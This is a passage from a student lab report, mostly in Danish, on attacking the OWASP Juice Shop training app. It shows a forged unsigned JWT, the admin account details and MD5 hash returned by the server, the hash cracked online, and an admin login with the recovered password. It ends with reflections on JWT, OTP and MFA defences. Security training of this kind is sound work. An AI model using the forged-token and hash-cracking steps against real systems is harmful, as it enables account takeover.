token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0. Connection: keep-alive -
Send the request and confirm a 200 OK response.
ResponseHTTP/1.1 200 OK Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Feature-Policy: payment 'self' X-Recruiting: /#/jobs Content-Type: application/json; charset=utf-8 Content-Length: 344 ETag: W/"158-C0MSdj4rHIcDyIq4u/IF+EiC5v0" Vary: Accept-Encoding Date: Fri, 09 Oct 2026 14:54:34 GMT Connection: keep-alive Keep-Alive: timeout=5 { "user":{ "id":1, "username":"", "email":"admin@juice-sh.op", "password":"16b9652df79d0e4784bdbf478c9f4fee", "role":"admin", "deluxeToken":"", "lastLoginIp":"", "profileImage":"assets/public/images/uploads/defaultAdmin.png", "totpSecret":"", "isActive":true, "createdAt":"2026-10-09T13:58:02.767Z", "updatedAt":"2026-10-09T14:54:34.773Z", "deletedAt":null } } -
Extract the MD5 hashed password from the response, crack it (e.g., crackstation.net), and verify it matches your chosen password.
Crackstation:
Hash Type Result 16b9652df79d0e4784bdbf478c9f4fee md5 hazel -
Log in as the Juice Shop administrator using the new password.
- admin@juice-sh.op:hazel
- Virkede!
- admin@juice-sh.op:hazel
3. Problemer og løsninger
Jeg oplevede ingen problemer under denne øvelse.
4. Reflekterende spørgsmål
-
Hvad gør JWT-tokens sårbare, hvis signaturen ikke valideres korrekt?
- Så kan man ændre indholdet og serveren vil muligvis stole på og bruge de ændrede oplysninger.
-
Hvad er sikkerhedsimplikationerne ved at gemme følsom information i token payloads?
- At hvis de ikke verificeres og man bruger dem, så kan man risikere at blive ramt af autentificeringsangreb.
-
Hvordan kan udviklere beskytte sig mod misbrug af password recovery og OTP-mekanismer?
- Med rate limiting, lange OTP's (one time passwords) og MFA
-
Hvordan kan rate limiting og MFA være effektive forsvar mod angreb på tokens?
- Rate limiting kan gøre at man ikke kan gætte sig til OTP's eller tokens. MFA (Multi factor authentication) kan gøre at man ikke kan ændre passwords uden også at have adgang til brugerens opsatte MFA.
5. Opsummering af erfaringer
Jeg har lært hvordan JWT tokens fungere, hvilke sårbarheder der kan være ved brug af dem og hvordan man evt. kan angribe disse sårbarheder.